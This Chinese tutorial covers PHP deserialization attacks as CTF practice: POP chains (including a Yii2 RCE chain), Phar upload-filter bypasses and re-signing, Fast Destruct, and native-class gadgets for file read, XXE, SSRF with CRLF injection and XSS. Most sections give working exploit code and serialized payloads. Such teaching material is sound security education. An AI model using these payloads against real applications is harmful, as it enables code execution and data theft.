PHP反序列化漏洞总结

PHP反序列化漏洞总结

Lv1

漏洞成因

开发者为了以某种存储形式使自定义对象持久化同时实现将对象从一个地方传递到另一个地方通常会在程序中引入序列化和反序列化两种操作。

但是如果程序未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,通过在参数中注入一些代码,从而达到代码执行、SQL 注入、目录遍历等不可控后果,危害较大。

反序列化漏洞造成的危害主要取决于类与对象可以实现的操作,本质上反序列化漏洞是由于反序列化位点过滤不严,导致攻击者可以控制特定对象实现其特定功能的一类操作过程。

如下代码:

1
2
3
4
5
6
7
8
9
10
<?php
class evil{
public $cmd;

public function __destruct(){
system($this->cmd);
}
}

unserialize($_GET['data'])

evil类中的析构函数__destruct存在RCE利用点,而unserialize反序列化位点没有进行合理的检测,导致可以控制反序列化过程,攻击者可以调用evil类,从而触发类中的RCE操作。

Exp如下:

1
2
3
4
5
<?php
class evil{
public $cmd = "ls /";
}
echo serialize(new evil);

image-20230311200323147

PHP基础

序列化

定义:利用 serialize() 函数将一个对象转换为字符串形式。

image-20230311200410794

O表示Object,即为序列化数据为一个对象;

6代表类名长度,类名people共有六个字符串;

“people”表示了类名;

2代表成员数目,共有name、age两个成员;

s表示String,即为字符串;

4代表属性名长度;

“name”表示成员名称;

s:4:“Jack”;表示了成员内容(值);

s:3:“age”;表示了一个名为age的成员;

i:20;表示该成员值为整型20;

如果成员属性非public,反序列化之后的数据是有所改变的:

如下代码:

1
2
3
4
5
6
7
<?php
class people{
private $name = "Jack";
protected $age = 20;
}
$Jack = new people;
echo serialize($Jack);

注意这里的name成员被修饰为private,而age成员则被修饰为了protected属性

执行这段代码我们可以得到:

image-20230311200940865

注意:private属性的成员名发生了改变 ,但是我们看到的peoplename的长度并不等于12。

protected属性的成员名也发生了改变,但是*age的长度也不等于6。

如果我们对反序列化之后的数据进行一次URL编码就能找到原因,将上文的代码第7行修改为:

1
echo urlencode(serialize($Jack));

这样我们就可以得到如下的结果:

image-20230311201127579

protected属性的成员在序列化后URL编码多出了两个空字节一个星号

结构为:%00*%00成员名

长度为:1+1+1+3 = 6

空字节占用一个长度,在不进行URL编码的情况下空字节是不可见的

private属性的成员序列化后在URL编码后可以看到多出了两个空字节

结构为:%00类名%00成员名

长度为:1+6+1+4 = 12

反序列化

定义:利用 unserialize()函数将一个序列化字符串还原为对象形式。

image-20230311201318735

执行上方的代码我们就可以还原出people类的对象:

image-20230311201458448

魔术方法

PHP中把以两个下划线__开头的方法称为*魔术方法(Magic methods)*,这些方法在满足一定条件之后可以自动触发调用,而不需要人为调用,因此被称为魔术方法。

常见的魔术方法如下:

1
2
3
4
5
6
7
8
9
10
11
__construct()	构造函数,在类被实例化为对象时自动调用
__destruct() 析构函数,在类的对象结束生命周期后调用
__call() 在对象中调用一个不可访问方法时调用
__get() 获得一个类的成员变量时调用
__set() 设置一个类的成员变量时调用
__isset() 当对不可访问属性调用isset()或empty()时调用
__unset() 当对不可访问属性调用unset()时被调用。
__sleep() 执行serialize()时,先会调用这个函数
__wakeup() 执行unserialize()时,先会调用这个函数
__toString() 类被当成字符串时的回应方法
__invoke() 调用函数的方式调用一个对象时的回应方法

反序列化漏洞

简单的反序列化

Challenge1

简单的反序列化题目主要考察选手对于类与对象及反序列化的基础知识应用,通常难度为入门至简单。 如下的代码,直接给了一个evil类,其中的析构函数__destruct中含有一个RCE点,而析构函数会在一个对象生命周期结束时自动调用,因此只需要反序列化evil这个类,把其中的cmd成员值修改为我们要执行的命令即可。

image-20230311201731181

Exp如下:

1
2
3
4
5
<?php
class evil{
public $cmd = "cat /flag";
}
echo serialize(new evil);

得到O:4:"evil":1:{s:3:"cmd";s:9:"cat /flag";}

image-20230311201818576

Challenge2

image-20230311201848702

不同于上一道题目,这个题目并没有自动调用的魔术方法,但是可以关注第七行代码的 unserialize($_GET['data'])();

这里是以函数的形式去调用了反序列化之后的data数据,而这里涉及到的知识点就是方法的静态调用

在PHP中我们可以通过 类名::方法名 的形式去静态调用类中的方法,换而言之就是我们可以在不创建类的对象的情况下去直接调用类的方法,在Java语言中我们需要给静态方法加上static关键词来修饰。

Exp如下:

1
2
3
<?php
echo serialize("evil::getflag");
?>

得到s:13:"evil::getflag";

image-20230311202003414

POP链构造

如果看到这里你已经忘记了之前提到的常见魔术方法,请翻回去重温一遍!

Challenge3

image-20230311202108242

在我们构造POP链时,通常以 __destruct __wakeup 当作入口方法。

本题中,我们将A类的__destruct方法当作入口点,A类的__destruct方法会输出$this->str

如果我们将$this->str设置为B类的一个对象,那么就会将B类的对象当作字符串输出,此时就满足了__toString方法的调用情景,进而触发到B类的__toString方法

B类的__toString方法又会以函数的形式调用$this->obj的值,因此只需要将B类的$this->obj设置为A类的对象就会去触发A类的__invoke方法,从而获得flag。

POP链:

graph TD;
    A::__destruct-->B::__toString;
    B::__toString-->A::__invoke;

在明晰了POP链构造思路后,我们可以写出Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class A{
public $str;
public function __construct($a){
$this->str = $a;
}
}
class B{
public $obj;
public function __construct($a){
$this->obj = $a;
}
}
$pop = new A(new B(new A("1")));
echo serialize($pop);

将序列化数据以GET方式传递给pop参数即可获得Flag。

框架中的POP链

挖掘思路

本质上框架中的POP链也还是构造POP,从__destruct或者是__wakeup开始,不断在整个框架中寻找可以调用到的同名方法或者是魔术方法当作跳板,最终触发到某个不安全的方法中,只是相比于一般的CTF赛题代码审计量大了很多,但是耐心挖掘一下还是可以找到不少的。

但是框架中的POP链条严格意义上并不算是漏洞,任何POP链条的利用都需要依赖于反序列化位点的存在,如果没有可以利用的反序列化位点,那么POP链条也只是一条链子(当然也有部分开发者会认为POP链属于安全漏洞,甚至还可以给CNVD或者CVE证书的)

知名安全工具phpggc中集成了大量框架的POP链条,项目地址如下:https://github.com/ambionics/phpggc

image-20230311232256313

Challenge4

我们来看一下Yii2框架中的一条RCE POP链,从Yii官网下载一个Yii2.0.37版本的框架部署一下,然后创建controllers/TestController.php文件。写入如下内容:

image-20230311202515015

然后去调用控制器:http://localhost/index.php?r=test/test 即可触发反序列化位点。

这里的POP链条挖掘还是从__destruct析构函数入手,全局搜索后选择vendor/yiisoft/yii2/db/BatchQueryResult.php中的 BatchQueryResult类的析构函数入手:

image-20230311202610016

跟进本类的reset方法:

image-20230311202618158

$this->_dataReader成员完全可控,因此直接去全局寻找close方法,在vendor/guzzlehttp/psr7/src/FnStream.php文件中发现了一个可以调用函数执行close方法:

image-20230311202642081

$this->_fn_close完全可控,实现任意函数调用,到这里已经可以执行phpinfo了,不过我们继续来把危害扩大。利用这里的call_user_func,我们直接去寻找含有危险函数的方法,例如eval等。

vendor/phpunit/phpunit/src/Framework/MockObject/MockTrait.php文件中我们可以找到一个公有的generate方法:

image-20230311202744514

简单分析之后发现$this->mockName$this->classCode均完全可控,可以实现RCE。

最终POP调用链如下:

graph TD;
    BatchQueryResult::__destruct-->BatchQueryResult::set;
    BatchQueryResult::set-->Stream::close;
    Stream::close-->MockTrait::generate;

Exp如下:

image-20230311202837978

image-20230311202843526

Phar反序列化

概念

phar文件解析存储的meta-data信息以序列化方式存储,当文件操作函数通过phar伪协议解析的文件时就会将数据反序列化。

利用条件

  • 文件上传点(用于上传Phar文件)
  • 可用的POP链
  • 可控的文件操作函数(触发phar反序列化),具体影响函数如下表:image-20230311203015857

实际意义

Phar反序列化拓展了PHP中反序列化的攻击面,反序列化漏洞不再局限在unserialize函数中,而是可以通过文件上传与文件操作函数相结合而触发反序列化。

利用方法

下面我们来构建一个Demo去生成一个phar包文件,在生成phar文件前,我们需要修改php.ini的一个配置:

;phar.readonly=On 修改为 phar.readonly=Off

修改完毕后重启Web服务使配置生效,然后准备如下的PHP代码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Test{
public $num = 1;
}
$o = new Test();
$phar = new phar("a.phar");
$phar -> startBuffering();
$phar -> setStub("__HALT_COMPILER();?>");
$phar -> setMetaData($o);
$phar -> addFromString("1.txt","a");
$phar -> stopBuffering();
?>

访问php文件后可以看到同目录下已经生成了phar文件,我们来分析一下Phar包的结构:

image-20230311203443764

  • stub 一个供phar扩展用于识别的标志,必须以__HALT_COMPILER();?>来结尾。

  • manifest 这部分会以序列化的形式存储用户自定义的meta-data,即为反序列化漏洞点。

  • contents 被压缩文件的内容。

  • signature 签名,放在文件末尾。

在分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。

那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件

image-20230311203616389

像是这样,我们可以在Phar包的stub头部分添加GIF文件头,需要注意的是生成时文件拓展名必须为phar。

在生成了Phar文件后,我们将其拓展名修改为gif,此时phar文件就被我们伪装成了gif文件:

image-20230311203630743

下面我们来尝试触发一下phar反序列化。

image-20230311203642331

image-20230311203645872

也就是说,其实文件的拓展名不会影响phar反序列化的执行,因此在面对有白名单的上传点时,只要情景满足触发phar反序列化的条件,我们就可以去尝试Phar反序列化。

一些ByPass技巧

下面我们来看看限制情况下的Phar反序列化。

  • 如果服务器对上传文件的内容有过滤,例如:preg_match("/php/i",$contents)。上文中我们提到过php识别phar文件是通过__HALT_COMPILER();?>这段代码来触发的,因而设置stub头时去掉<?php即可
  • 如果依旧是对内容有过滤,但是此时为:preg_match("/HALT_COMPILER/i",$contents)。此时我们需要提到一个Trick,就是phar文件在进行gzip之类的压缩后仍然可以正常触发反序列化

image-20230311203840399

如上是正常情况下生成的Phar包文件,如果我们对其进行gzip压缩,那么他会变成:image-20230311203846899

这样就绕过了内容的检测,但是其依旧可以正常触发Phar反序列化:

image-20230311203901699

  • 对上传文件大小有最低限制,例如限制文件大小必须大于2M,我们可以在Phar包压缩的文件中,填充垃圾数据:

image-20230311203922129

Phar重签名

如果我们需要对Phar包中的序列化数据进行修改,例如绕过__wakeup或者是FastDestuct,我们需要借助十六进制编辑器先对Phar包中的序列化数据进行修改(Phar包是一个二进制文件,如果直接修改可能会无意删掉一些不可见字符),修改完成序列化数据后需要使用以下脚本对Phar文件进行重签名,否则PHP会认为这是一个无效的Phar包,从而导致无法触发Phar反序列化,Phar签名的原理也非常简单,直接看代码即可:

1
2
3
4
5
6
7
8
9
from hashlib import sha1

with open('1.phar', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型和GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('new.phar', 'wb') as file:
file.write(newf) # 写入新文件

Fast Destruct

__destruct()在对象生命周期结束后都会被触发,但是前提是必须得完成程序的开始与结束,但是如果程序执行了一半,突然报错退出,那么__destruct()此时不会触发了,这个时候就需要用到Fast Destruct的方法。

概念

  1. 如果单独执行unserialize函数进行常规的反序列化,那么被反序列化后的整个对象的生命周期就仅限于这个函数执行的生命周期,当这个函数执行完毕,这个类就没了,在有析构函数的情况下就会执行它。
  2. 如果反序列化函数序列化出来的对象被赋给了程序中的变量,那么被反序列化的对象其生命周期就会变长,由于它一直都存在于这个变量当中,当这个对象被销毁,才会执行其析构函数。

Fast Destruct就是为了解决第二种情况的。

本质上,fast destruct 是因为unserialize过程中扫描器发现序列化字符串格式有误导致的提前异常退出,为了销毁之前建立的对象内存空间,会立刻调用对象的__destruct(),提前触发反序列化链条。

以这段代码为例:

1
2
3
4
5
6
7
8
<?php
class A{
public function __destruct(){
system("ls");
}
}
$o = unserialize($_GET['data']);
throw new Exception("No!");

当我们直接尝试反序列化A类触发其析构方法时会出现这样的错误:

1
Fatal error: Uncaught Exception: No! in /var/www/html/index.php:8 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 8

利用方法

方法一

修改序列化字符串的结构。这种方法在于使序列化数据存在问题,例如删除序列化数据中尾部的}等,使其变成非法的序列化数据流,这样垃圾回收机制在反序列化时就会提前回收这个对象,从而实现Fast Destruct的方法。

例如上文中的那段代码,我们生成得到的序列化数据流为:

1
O:1:"A":0:{}

如果我们将其修改为:

1
O:1:"A":0:{

就可以提前触发到析构函数了。

方法二

数组的空引用。例如我们正常序列化一个数组,其中第一个元素是我们的对象,第二个元素是Null

1
2
3
4
5
6
7
8
<?php
class A{
}

$a = array();
$a[0] = new A;
$a[1] = null;
echo serialize($a);

得到:

1
a:2:{i:0;O:1:"A":0:{}i:1;N;}

我们修改一下对象在数组中的下标:

1
a:2:{i:1;O:1:"A":0:{}i:1;N;}

这样也是可以提前触发析构函数的。

方法三

修改对象元素数量。这种方法有点类似于绕过__wakeup的那个Payload,不过原理上还是非法的序列化数据流,还是上文的例子,我们得到的正常的序列化数据如下:

1
O:1:"A":0:{}

修改为:

1
O:1:"A":2:{}

拓展一句

值得一提的是,Fast Destruct不仅适用于触发__destruct,其他的一些魔术方法也是可以利用这种方法提前触发的,大家可以自己探索一下。

Challenge5

看看以下这段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php
highlight_file(__FILE__);
class Evil{
public $cmd;
public function backdoor($key){
if($key == "GoodJob"){
readfile("/flag");
}else{
die("Bad Job!");
}
}
}
class SQLi{
public $func;
public $var;
public function hello(){
echo "You Touch Me";
}
public function bye(){
$fun = $this->func;
$fun($this->var);
}
}

class Test{
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
}

class Reader{
public $name;
public $obj;
public function __destruct(){
if(!preg_match("/CTF/i",$this->name)){
echo "NoNoNo";
}else{
system("whoami");
}
}
public function bye(){
echo "Let's say goodbye with a smile";
}
public function __call($func,$var){
if($func == "hello"){
$this->obj->bye();
}
}
}

class Lua{
public $hard;
public $p;
public function __construct(){
$this->p = array();
}
public function __toString(){
($this->hard)();
return "Bad times make a good man.";
}
public function __get($key){
$function = $this->p;
return $function();
}
}

class Json{
public $format;
public function __invoke(){
$this->format->hello();
}
public function __construct(){
$this->format = array();
}
}

if(isset($_GET['exp'])){
$o = unserialize($_GET['exp']);
throw new Exception("So Easy!");
}

前面是一个POP链条的构造,比较容易看出来,但是和常规的反序列化不同的是,本题的反序列化位点是这么写的:

1
2
$o = unserialize($_GET['exp']);
throw new Exception("So Easy!");

这里将反序列化的内容赋值给了$o变量,然后通过Exception抛出了一个异常导致程序突然中止,此时的反序列化对象由于变量赋值的原因还没有被PHP垃圾处理机制回收,因而就导致还没有触发到__destruct程序就被终止了,因此这里需要Fast Destruct。

先来构造POP链,直接给出题目可以利用的链条:

  graph TD;
    Reader::__wakeup-->Lua::__toString;
    Lua::__toString-->Json::__invoke;
    Json::__invoke-->Reader::__call;
    Reader::__call-->SQLi::bye;
    SQLi::bye-->Evil::backdoor;

然后来构造Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class SQLi{
public $func;
public $var;
}
class Reader{
public $name;
public $obj;
}

class Lua{
public $hard;
}

class Json{
public $format;
}

$o = new Reader;
$o -> name = new Lua;
$o -> name -> hard = new Json;
$o -> name -> hard -> format = new Reader;
$o -> name -> hard -> format -> obj = new SQLi;
$o -> name -> hard -> format -> obj -> var = "/flag";
$o -> name -> hard -> format -> obj -> func = "readfile";

echo serialize($o);

得到:

O:6:"Reader":2:{s:4:"name";O:3:"Lua":1:{s:4:"hard";O:4:"Json":1:{s:6:"format";O:6:"Reader":2:{s:4:"name";N;s:3:"obj";O:4:"SQLi":2:{s:4:"func";s:8:"readfile";s:3:"var";s:5:"/flag";}}}}s:3:"obj";N;}

然后就是按照上面的方法触发FastDestruct即可:

O:6:"Reader":2:{s:4:"name";O:3:"Lua":1:{s:4:"hard";O:4:"Json":1:{s:6:"format";O:6:"Reader":2:{s:4:"name";N;s:3:"obj";O:4:"SQLi":2:{s:4:"func";s:8:"readfile";s:3:"var";s:5:"/flag";}}}}s:3:"obj";N;

原生类反序列化

XXE

  • SimpleXMLElement::__construct

  • 利用版本:PHP 5、PHP 7

  • 举例:

    1
    2
    <?php
    $x=new SimpleXMLElement("http://localhost/evil.xml",2,true);

目录遍历

  • Directory::read

  • 利用版本:PHP 4、PHP 5、PHP 7

  • 举例:

    1
    2
    3
    4
    5
    <?php
    $dir = "/var/www/html";
    $d = new Directory;
    $d->resource = opendir($dir);
    while(($c = $d->read($d->resource))){echo $c."\n";};
  • DirectoryIterator::__toString

  • 利用版本:PHP 5、PHP 7

  • 举例:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    <?php
    // 可以使用glob协议来遍历,例如遍历一个拼接了md5数值的文件:
    // $dir = "/var/www/html";
    $dir = "glob:///var/www/html/flag[0-9a-zA-Z]*.php";
    $d = new DirectoryIterator($dir);
    while ($d->valid()){
    echo $d."\n";
    $d->next();
    }
  • FilesystemIterator::__toString

  • 利用版本:PHP 5 >= 5.3.0、PHP 7

  • 举例:

    1
    2
    3
    4
    5
    6
    7
    8
    <?php
    // 可以使用glob协议来遍历
    $dir = "/var/www/html";
    $d = new FilesystemIterator($dir);
    while ($d->valid()){
    echo $d."\n";
    $d->next();
    }
  • GlobIterator::__toString

  • 利用版本:PHP 5 >= 5.3.0、PHP 7

  • 举例:

    1
    2
    3
    4
    5
    <?php
    // 可以使用glob协议来遍历
    foreach(new GlobIterator("./*") as $f){
    echo $f."\n";
    }

文件读取

  • SplFileObject::__toStringSplFileInfo::__toStringSplTempFileObject::__toString

  • 利用版本:PHP 5、PHP 7

  • 举例:

    1
    2
    3
    4
    5
    6
    7
    $context = new SplFileObject('/etc/passwd');
    foreach($context as $f){
    echo($f);
    }
    // 或者用伪协议base64直接输出,有时候有奇效
    $context = new SplFileObject('php://filter/read=convert.base64-encode/resource=/etc/passwd');
    echo $context;
  • DOMDocument::loadHTMLFile

  • 利用版本:PHP 5、PHP 7

  • 举例:

    1
    2
    3
    4
    5
    6
    <?php
    $f="/etc/passwd";
    $d=new DOMDocument();
    $d->loadHTMLFile("php://filter/convert.base64-encode/resource=$f");
    $d->loadXML($d->saveXML());
    echo $d->getElementsByTagName("p")[0]->textContent;
  • ZipArchive::getFromName

  • 利用版本:PHP 5 >= 5.2.0、PHP 7、PECL zip >= 1.1.0

  • 举例:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    <?php
    $f = "flag";
    $zip=new ZipArchive();
    $zip->open("a.zip", ZipArchive::CREATE);
    $zip->addFile($f);
    $zip->close();
    $zip->open("a.zip");
    echo $zip->getFromName($f);
    $zip->close();

文件写入

  • SplFileObject::write

  • 利用版本:PHP 5、PHP 7

  • 举例:

    1
    2
    3
    <?php
    $f = new SplFileObject('./file', "w");
    $f->fwrite("file");
  • DOMDocument::saveHtmlFile

  • 利用版本:PHP 5、PHP 7

  • 举例:

    1
    2
    3
    4
    5
    <?php
    $f="./1.php";
    $d=new DOMDocument();
    $d->loadHTML("dGVzdA==");
    $d->saveHtmlFile("php://filter/string.strip_tags|convert.base64-decode/resource=$f");
  • ZipArchive::setArchiveComment(有损写文件)

  • 利用版本:PHP 5 >= 5.2.0、PHP 7、PECL zip >= 1.1.0

  • 举例:

    1
    2
    3
    4
    5
    6
    7
    <?php
    $f = "flag";
    $zip=new ZipArchive();
    $zip->open("a.zip", ZipArchive::CREATE);
    $zip->setArchiveComment("<?php phpinfo();?>");
    $zip->addFromString("file", "");
    $zip->close();

XSS与hash绕过

  • Error::__toString

  • 利用版本:PHP 7

  • 举例:

    1
    2
    3
    4
    <?php
    $a = new Error("<script>alert('xss')</script>");
    $exp = serialize($a);
    echo unserialize($exp);
  • Exception::__toString

  • 利用版本:PHP 5、PHP 7

  • 举例:

    1
    2
    3
    4
    <?php
    $a = new Exception("<script>alert('xss')</script>");
    $exp = serialize($a);
    echo unserialize($exp);

SSRF

  • SoapClient::__call

  • 版本限制:PHP 5、PHP 7

  • 举例:

    • 发起HTTP/HTTPS请求
    1
    2
    3
    4
    5
    <?php
    $obj = new SoapClient(null,array('uri'=>'http://example.com:5555', 'location'=>'http://example.com:5555/aaa'));
    echo serialize($obj);
    $soap = unserialize(serialize($obj));
    $soap->aaa(); // 触发__call方法
    • CRLF注入进行请求走私(这里CRLF原理是一样的,可以夹带HTTP请求头或者是实现POST数据)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    <?php
    $a = new SoapClient(null, array(
    'location' => 'http://TargetHost:8080',
    'uri' =>'uri',
    'user_agent'=>"111111\r\nCookie: Admin=Yes"));
    $b = serialize($a);
    echo $b;
    $c = unserialize($b);
    $c->aaa();

文件删除

  • ZipArchive::open

  • 利用版本:PHP 5 >= 5.2.0、PHP 7、PECL zip >= 1.1.0

  • 举例:

    1
    2
    3
    <?php
    $a = new ZipArchive();
    $a->open("file", ZipArchive::OVERWRITE);

SESSION反序列化

概念

  • 什么是SESSION?

    • Session 对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的 Web 页之间跳转时,存储在 Session 对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。当用户请求来自应用程序的 Web 页时,如果该用户还没有会话,则 Web 服务器将自动创建一个 Session 对象。当会话过期或被放弃后,服务器将终止该会话。
  • SESSION和COOKIE的区别?

    • Session是储存在服务端的,而Cookie则是储存在客户端的。(其实还有很多不同,这也是开发岗面试喜欢问的一个题目,不过这里我们知道这一点就足够继续学习后面的知识了)
  • SESSION是如何起作用的?

    • 当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。
  • php.ini中关于Session的一些配置:

    1
    2
    3
    4
    session.save_path=""		设置session的存储路径
    session.save_handler="" 设定用户自定义存储函数
    session.auto_start 指定会话模块是否在请求开始时启动一个会话,默认为0不启动
    session.serialize_handler 定义用来序列化/反序列化的处理器名字,默认使用php
  • PHP中Linux下常见的Session储存位置:

    1
    2
    3
    4
    5
    /var/lib/php5/sess_PHPSESSID
    /var/lib/php7/sess_PHPSESSID
    /var/lib/php/sess_PHPSESSID
    /tmp/sess_PHPSESSID
    /tmp/sessions/sess_PHPSESSED

漏洞成因

注意上文中php.ini中有一项session.serialize_handler的配置,这个配置定义用来序列化/反序列化的处理器名字,常见的有phpphp_binaryphp_serialize三种引擎。

  • php:键名 + | + 经过serialize序列化处理的数据
  • php_binary:键名长度对应的ASCII字符 + 键名 + 经过serialize序列化处理的数据
  • php_serialize:经过serialize序列化处理的数据

在PHP代码中,我们可以通过以下代码来设置session储存的引擎:

1
ini_set('session.serialize_handler', 'php');

我们本地起一个PHP环境可以看到这三种不同的引擎对应的Session的储存格式:

1
2
3
4
5
6
7
<?php
ini_set('session.serialize_handler', 'php');
// ini_set("session.serialize_handler", "php_serialize");
// ini_set("session.serialize_handler", "php_binary");
session_start();
$_SESSION['name'] = "a";
?>

我们可以查看session文件(Docker环境下session文件会储存在/tmp/sess_PHPSESSID下):

1
2
3
4
5
6
// ini_set('session.serialize_handler', 'php');
name|s:1:"a";
// ini_set("session.serialize_handler", "php_serialize");
a:1:{s:4:"name";s:1:"a";}
// ini_set("session.serialize_handler", "php_binary");
names:1:"a";

而SESSION反序列化漏洞的成因就在于处理SESSION时使用的引擎不同,导致了SESSION反序列化漏洞的出现。

Challenge 6

例如我们有以下代码:

1
2
3
4
5
6
7
// index.php
<?php
ini_set("session.serialize_handler", "php_serialize");
session_start();
// SESSION内容可控
$_SESSION['name'] = $_GET['test'];
?>
1
2
3
4
5
6
7
8
9
10
11
12
// evil.php
<?php
//注意这里使用的引擎不是php_serialize
ini_set("session.serialize_handler", "php");
session_start();
class Exp{
public $cmd;
public function __destruct(){
system($this->cmd);
}
}
?>

然后我们先来生成一个Exp类的序列化数据:

1
2
3
4
5
6
<?php
class Exp{
public $cmd = "whoami";
}
echo serialize(new Exp);
// O:3:"Exp":1:{s:3:"cmd";s:6:"whoami";}

在将我们的session写入到文件中之前,我们需要在Payload前面加上一个|,将其变成:

1
|O:3:"Exp":1:{s:3:"cmd";s:6:"whoami";}

因为用的是php引擎,因此遇到|时会将之看做键名与值的分割符,从而造成了歧义,导致其在解析session文件时直接对|后的值进行反序列化处理,这也就是为什么代码中没有出现反序列化位点,但是仍然调用到了Exp类的析构函数的原因,就是因为在解析session文件时对应的引擎进行了反序列化操作

我们请求http://localhost/?test=|O:3:%22Exp%22:1:{s:3:%22cmd%22;s:6:%22whoami%22;}

然后现在我们的session文件内容如下:

1
a:1:{s:4:"name";s:38:"|O:3:"Exp":1:{s:3:"cmd";s:6:"whoami";}";}

实际上就是php引擎把a:1:{s:4:"name";s:38:"这一部分看作了键名,而O:3:"Exp":1:{s:3:"cmd";s:6:"whoami";}";}这一部分看作了值,从而对我们的Payload进行了反序列化解析。

此时再去访问evil.php就可以看到成功执行了whoami

Upload_Process

但是多数情况下SESSION的参数并不可控,这个时候需要引入PHP中的upload_process这一机制。

session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name 同名变量时,上传进度可以在$_SESSION 中获得。 当PHP检测到这种POST请求时,它会在$_SESSION 中添加一组数据, 索引是 session.upload_progress.prefix session.upload_progress.name 连接在一起的值。

来自:https://www.php.net/manual/zh/session.upload-progress.php

简而言之,就是我们可以通过带着SessionId去上传一个和session.upload_progress.name同名的文件,就可以将上传文件中的filename写入到session文件中,例如构造如下表单:

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<body>
<form action="URL" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="test" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

然后抓包:

image-20230312152715125

注意将filename修改为序列化数据,然后带着PHPSESSID请求,还需要将序列化数据中的双引号加上反斜杠进行转义,这样也是可以将我们的序列化数据写入到session文件中的。

然而这种方法还需要关注session.upload_progress.cleanup配置的选项,这个配置默认是开启的,开启这个选项后一旦PHP读取完毕所有POST数据,就会清除进度信息,也就是清除掉SESSION文件。如果该配置开启,则需要通过条件竞争来实现session反序列化。

字符逃逸

成因

本质就是因为进行了长度不对等的字符串替换,导致替换后的序列化数据长度变长或变短,从而我们可以构造序列化数据,实现序列化数据中某些参数值的篡改或吞并。

替换后变长

主要思路是通过第一个属性的长度变化来闭合第一个属性的值,然后插入任意序列化字节流实现属性值的覆盖。例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class A {
public $key;
public $cmd = "whoami";

public function __construct($key)
{
$this->key = $key;
}

public function __destruct()
{
system($this->cmd);
}
}

function waf($str){
$patt = "/php/i";
return preg_replace($patt, "hack!", $str);
}

unserialize(waf(serialize(new A($_GET['key']))));

这段代码中我们可以控制$key属性的值,但是无法控制$cmd属性的值,不过我们可以通过waf函数来实现字符串长度变长,从php替换到hack!字符长度增加2个,于是我们可以构造Payload来控制整个序列化字符串。

例如我们想要修改$cmd属性为ls,对应的序列化字符流就是";s:3:"cmd";s:2:"ls";},前面的引号是用来闭合上一个变量的,这段字符的长度为22,一个php可以逃逸出2个字符的长度,因此构造11php就可以将我们想要的字符全部逃逸出去。

Payload如下:

1
phpphpphpphpphpphpphpphpphpphpphp";s:3:"cmd";s:2:"ls";}

最终我们生成出来的序列化字节流如下:

1
O:1:"A":2:{s:3:"key";s:55:"hack!hack!hack!hack!hack!hack!hack!hack!hack!hack!hack!";s:3:"cmd";s:2:"ls";}";s:3:"cmd";s:6:"whoami";}

实际上";s:3:"cmd";s:6:"whoami";}这一段已经被被PHP舍弃了,等同于我们覆盖了$cmd属性的值。

需要注意的是如果我们想要把$cmd修改为其他值,就需要重新计算逃逸的长度。

在比赛中我们可以通过以下的形式来进行调试:

1
var_dump(waf(serialize(new A($_GET['key']))));

替换后变短

一般是两个参数可控,第一个参数用于字符减少吞掉序列化属性,第二个参数用于注入新的属性值。例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class A {
public $name;
public $desp;
public $cmd = "whoami";

public function __construct($a, $b)
{
$this->name = $a;
$this->desp = $b;
}

public function __destruct()
{
system($this->cmd);
}
}

function waf($str){
$patt = "/hacker/i";
return preg_replace($patt, "funny", $str);
}

unserialize(waf(serialize(new A($_GET['name'],$_GET['desp']))));

这里我们想要修改$cmd的属性值,但是经过waf函数替换,会将hacker替换为funny,减少了一个字符。借助上面的思路,我们可以利用$name属性来缩短字符长度,然后吞掉$desp的一部分字符,在$desp再注入$cmd参数的值。

我们先去构造$desp中需要注入的Payload:

1
";s:3:"cmd";s:2:"ls";}

序列化之后得到的是:

1
s:4:"desp";s:22:"";s:3:"cmd";s:2:"ls";}

我们想要留下的只有";s:3:"cmd";s:2:"ls";},因此前面的s:4:"desp";s:22:"就是我们需要利用$name字符缩减来吞掉的字符,共计19个字符,每次替换会减少1个字符,因此构造19hacker来吞掉这段字符。

最终Payload:

1
name=hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker&desp=";s:3:"cmd";s:2:"ls";}

